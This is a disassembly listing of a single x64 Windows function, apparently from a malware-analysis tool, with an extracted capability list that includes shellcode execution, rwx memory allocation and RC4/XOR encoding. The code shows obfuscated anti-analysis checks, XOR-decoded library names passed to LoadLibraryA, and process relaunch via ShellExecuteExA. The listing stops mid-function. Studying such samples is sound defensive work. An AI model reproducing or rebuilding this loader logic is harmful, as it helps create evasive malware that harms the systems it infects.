Function at 0x140027cb4
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140096b80
sub rsp, rax
mov rax, qword [0x1400fc700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x37]
mov esi, 0x3c0f780e
mov ebx, 0xaf7f77f7
mov r13d, 0xf95e3ae5
mov r15d, 0xdcf4ae0
cmp rax, r13
jne 0x140027dbe
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027d9e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027d9e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027dbe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov edi, 0xf95e3ae5
mov ecx, edi
call fcn.1400119b4
mov rax, qword gs:[0x37]
mov r12d, 0xeb6f8fc5
cmp rax, r13
jne 0x140027e7a
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027e5a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027e5a
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027e7a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
movabs r14, 0xccb3654c6870e515
cmp rax, r13
jne 0x140027f2e
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027f0e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027f0e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027f2e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov ecx, edi
call fcn.140027264
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140027fee
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027fce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027fce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027fee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028098
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028078
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028078
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028098
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
lea rdx, [0x1400f0200]
lea rcx, [rbp + 0x998]
call fcn.140011378
mov rdx, rax
mov ecx, edi
call fcn.1400137ac
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002816e
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002814e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002814e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002816e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028218
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400281f8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400281f8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028218
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov dword [rbp + 0x90], 0x7cb0dbfa
mov dword [rbp + 0x94], 0x21bcdce5
mov word [rbp + 0x98], 0xab
xor r15d, r15d
mov edi, r15d
movabs r14, 0x1b6acfdbc
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140037678
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140028245
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x37]
cmp rax, r13
movabs r14, 0xccb3654c6870e515
jne 0x140028352
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028332
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028332
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028352
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x1400283fc
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400283dc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400283dc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400283fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov dword [rbp + 0x1f0], 0xa39205a
mov dword [rbp + 0x1f4], 0x3723035e
mov dword [rbp + 0x1f8], 0xa38c4a74
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400372d4
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14002842f
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x37]
cmp rax, r13
mov ebx, 0xaf7f77f7
jne 0x140028526
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028506
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028506
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028526
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140027478
test eax, eax
jne 0x1400287d2
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c03e0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140028643
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c03e0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0xc12f436b
mov word [rbp - 0x6c], Ordinal_79
movabs rsi, 0x1b6acfdbc
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140037604
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x1400285b3
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140036f5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14002864d
movabs rsi, 0x1b6acfdbc
mov word [rsp + 0x78], 0xb4
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xb4
lea rcx, [rsp + 0x78]
call fcn.1400374ac
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.1400272f8
mov rbx, rax
movdqa xmm0, xmmword [0x1400f2410]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400f24a0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xac247c8a
mov dword [rbp + 0xc1c], 0xc3dfaffb
mov dword [rbp + 0xc20], 0x75881876
mov word [rbp + 0xc24], 0xde
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140037590
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x1400286d2
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140038624
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.1400387e4
lea rcx, [rbp + 0x9d8]
call fcn.14003813c
lea rcx, [rbp + 0x9b8]
call fcn.14003813c
movdqa xmm0, xmmword [0x1400f2500]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_211
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14003708c
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14002876b
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.140037d90
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002887c
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002885c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002885c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002887c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002893d
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002891d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002891d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002893d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x1400289e7
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400289c7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400289c7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400289e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028a91
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028a71
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028a71
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028a91
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028b4c
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028b2c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028b2c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028b4c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
xor ecx, ecx
call fcn.14009e654
mov rbx, rax
mov word [rsp + 0x7c], 0xef
movabs r12, 0x1b6acfdbc
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0xef
lea rcx, [rsp + 0x7c]
call fcn.1400374ac
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xc5f35f39
mov word [rbp - 0x5c], 0x6414
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14003734c
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140028b9f
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a1b34
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028c90
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028c70
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028c70
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028c90
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028d4d
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028d2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028d2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028d4d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov ecx, 2
call fcn.14009e654
mov rbx, rax
mov word [rbp - 0x80], 0xea
movabs r12, 0x1b6acfdbc
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0xea
lea rcx, [rbp - 0x80]
call fcn.1400374ac
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xa7d4bc18
mov dword [rbp - 0x34], 0xb2fa12
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14003751c
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140028d9b
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a1b34
mov rax, qword gs:[0x37]
cmp rax, r13
mov r12d, 0xeb6f8fc5
jne 0x140028e91
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028e71
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028e71
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028e91
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140028f3b
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028f1b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028f1b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028f3b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov ecx, 1
call fcn.14009e654
mov rbx, rax
mov word [rbp - 0x7c], 0xea
movabs r14, 0x1b6acfdbc
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, 0xea
lea rcx, [rbp - 0x7c]
call fcn.1400374ac
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xa7d4bc18
mov dword [rbp - 0x2c], 0xb2fa12
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14003751c
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140028f89
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a1b34
mov rax, qword gs:[0x37]
cmp rax, r13
movabs r14, 0xccb3654c6870e515
jne 0x140029096
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xaf7f77f7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029076
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029076
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029096
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x140029140
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029120
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029120
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029140
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
movdqa xmm0, xmmword [0x1400f23d0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [str.3En20G_FT]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400f24c0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x2f9362c9
mov dword [rbp + 0xd4c], 0x6c905af8
mov dword [rbp + 0xd50], 0x15a45cf8
mov word [rbp + 0xd54], 0x4b8f
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs rbx, 0x1b6acfdbc
mov qword [rsp + 0x20], rbx
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140037438
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x1400291ac
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14001121c
mov rax, qword gs:[0x37]
cmp rax, r13
mov ebx, 0xaf7f77f7
jne 0x1400292a2
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029282
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029282
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400292a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d288
int3
mov rax, qword gs:[0x37]
cmp rax, r13
jne 0x14002935d
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0xdcf4ae0
div rcx
